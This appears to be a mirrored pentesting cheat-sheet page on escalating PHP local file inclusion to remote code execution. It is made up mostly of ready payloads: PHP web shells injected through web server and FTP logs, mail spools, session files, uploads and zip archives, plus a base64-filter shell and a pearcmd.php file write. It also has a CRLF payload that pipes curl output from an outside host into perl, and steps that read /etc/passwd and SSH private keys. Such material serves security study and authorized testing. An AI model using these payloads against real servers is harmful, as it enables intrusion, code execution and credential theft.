跳转至

LFI2RCE

LFI2RCE

Remote File Inclusion

Explained previously, follow this link.

Via Apache/Nginx log file

If the Apache or Nginx server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log or /var/log/nginx/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and include that file

Note

if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string "quote;", PHP will throw an error there and nothing else will be executed.

Also, make sure you write correctly the payload or PHP will error every time it tries to load the log file and you won't have a second opportunity.

This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation "basic" contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header. Other possible log paths:

python

Python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Via Email

Send a mail to a internal account (user@localhost) containing your PHP payload like <?php echo system($_REQUEST["cmd"]); ?> and try to include to the mail of the user with a path like /var/mail/<USERNAME> or /var/spool/mail/<USERNAME>

Via /proc//fd/

  1. Upload a lot of shells (for example : 100)
  2. Include http://example.com/index.php?page=/proc/\(PID/fd/\)FD, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)

Via /proc/self/environ

Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file

Text Only
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?> ).

Text Only
http://example.com/index.php?page=path/to/uploaded/file.png

In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf

Via Zip fie upload

Upload a ZIP file containing a PHP shell compressed and access:

Python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via PHP sessions

Check if the website use PHP Session (PHPSESSID)

Text Only
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP these sessions are stored into */var/lib/php5/sess*[PHPSESSID]_ files

Text Only
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Set the cookie to <?php system('cat /etc/passwd');?>

Text Only
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Use the LFI to include the PHP session file

Text Only
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access /.ssh/id_rsa

Via vsftpd logs

The logs for the FTP server vsftpd are located at /var/log/vsftpd.log. In the scenario where a Local File Inclusion (LFI) vulnerability exists, and access to an exposed vsftpd server is possible, the following steps can be considered:

  1. Inject a PHP payload into the username field during the login process.
  2. Post injection, utilize the LFI to retrieve the server logs from /var/log/vsftpd.log.

Via php base64 filter (using base64)

As shown in this article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:

Text Only
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

This writeup explains that you can use php filters to generate arbitrary content as output. Which basically means that you can generate arbitrary php code for the include without needing to write it into a file.

LFI2RCE via PHP Filters

Via segmentation fault

Upload a file that will be stored as temporary in /tmp, then in the same request, trigger a segmentation fault, and then the temporary file won't be deleted and you can search for it.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

If you found a Local File Inclusion and Nginx is running in front of PHP you might be able to obtain RCE with the following technique:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

If you found a Local File Inclusion even if you don't have a session and session.auto_start is Off. If you provide the PHP_SESSION_UPLOAD_PROGRESS in multipart POST data, PHP will enable the session for you. You could abuse this to get RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

If you found a Local File Inclusion and and the server is running in Windows you might get RCE:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =, it should be used as an argument.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

Text Only
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

The following abuses a CRLF vuln to get RCE (from here):

Text Only
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

If you found a Local File Inclusion and a file exposing phpinfo() with file_uploads = on you can get RCE:

LFI2RCE via phpinfo()

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

If you found a Local File Inclusion and you can exfiltrate the path of the temp file BUT the server is checking if the file to be included has PHP marks, you can try to bypass that check with this Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Via eternal waiting + bruteforce

If you can abuse the LFI to upload temporary files and make the server hang the PHP execution, you could then brute force filenames during hours to find the temporary file:

LFI2RCE via Eternal waiting